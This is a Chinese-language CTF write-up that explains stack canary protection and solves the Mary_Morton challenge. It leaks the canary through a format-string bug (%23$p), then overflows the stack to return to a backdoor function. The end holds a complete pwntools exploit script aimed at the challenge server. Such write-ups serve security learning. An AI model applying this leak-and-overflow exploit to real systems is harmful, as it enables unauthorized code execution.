canary
https://blog.csdn.net/Breeze_CAT/article/details/100086513大佬的练习
通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖ebp、eip
等,从而达到劫持控制流的目的。然而stack canary这一技术的应用使得这种利用手段变得难以实
现。。这个概念应用在栈保护上则是在初始化一个栈帧时在栈底设置一个随机的canary值,栈帧销毁前
测试比较该值是否“死掉”,即是否被改变,若被改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利
用成功。
这个canary通常是在ebp的上面,同一个程序在每一次执行时这个标志canary是不同的,但是在执行过程中这个标志是不会发生变化的7
开启Canary保护的stack结构大概如下
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 局部变量 |
Low | |
Address
当程序启用Canary编译后,在函数序言部分会取fs寄存器0x28处的值,存放在栈中%ebp-0x8的位置。 这个操作即为向栈中插入Canary值,代码如下:
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
在函数返回之前,会将该值取出,并与fs:0x28的值进行异或。如果抑或的结果为0,说明canary未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 __stack_chk_fail@plt
fs寄存器实际指向的是当前栈的TLS结构,fs:0x28指向的正是stack_guard。
Canary设计为以字节"\x00"结尾,本意是为了保证Canary可以截断字符串。 泄露栈中的Canary的思路是覆盖Canary的低字节,来打印出剩余的Canary部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露Canary,之后再次溢出控制执行流程。
Mary_Morton (攻防世界)
我们可以看到程序开了canary 保护
程序直接给出了两个bug
我们不可以直接栈溢出,那么就需要利用格式化字符串漏洞泄露出canary的值
此处printf就是一个我们可以利用的格式化字符串漏洞,因为printf的输出完全由用户控制
我们查看汇编代码 发现
偏移量为6,也可以认为是6个寄存器,又因为buf位置为rbp-0x90, canary为0x8,相差0x88 且8bytes为一个单位的寄存器,即0x88 / 8 = 0x11 = 17, 17 + 6 = 23,因此偏移位置为23,所以我们就可以使用%23$p来打印出canary的地址。
这里也给了一个后门函数
我们现在写exp
#! /usr/bin/env python
from pwn import *
sh = remote('111.198.29.45', '38045')
sh.sendline('2')
sh.sendline("%23$p") #利用漏洞
sh.recvuntil('0x') #这里是一个判定
canary = int(sh.recv(16), 16) #以16位接受
print hex(canary) #以16位打印
symaddr = 0x04008DA
payload = 'a' * (0x90 - 0x8) + p64(canary) + 'a'*8 + p64(symaddr)
sh.sendline('1')
sh.sendline(payload)
sh.interactive()
思路:利用这两个漏洞,首先利用字符串漏洞,泄露出canary的值,然后在函数要返回的时候再填回去,之后利用栈溢出,让其返回到后门函数
这道题感谢 Devil丶xlt 大佬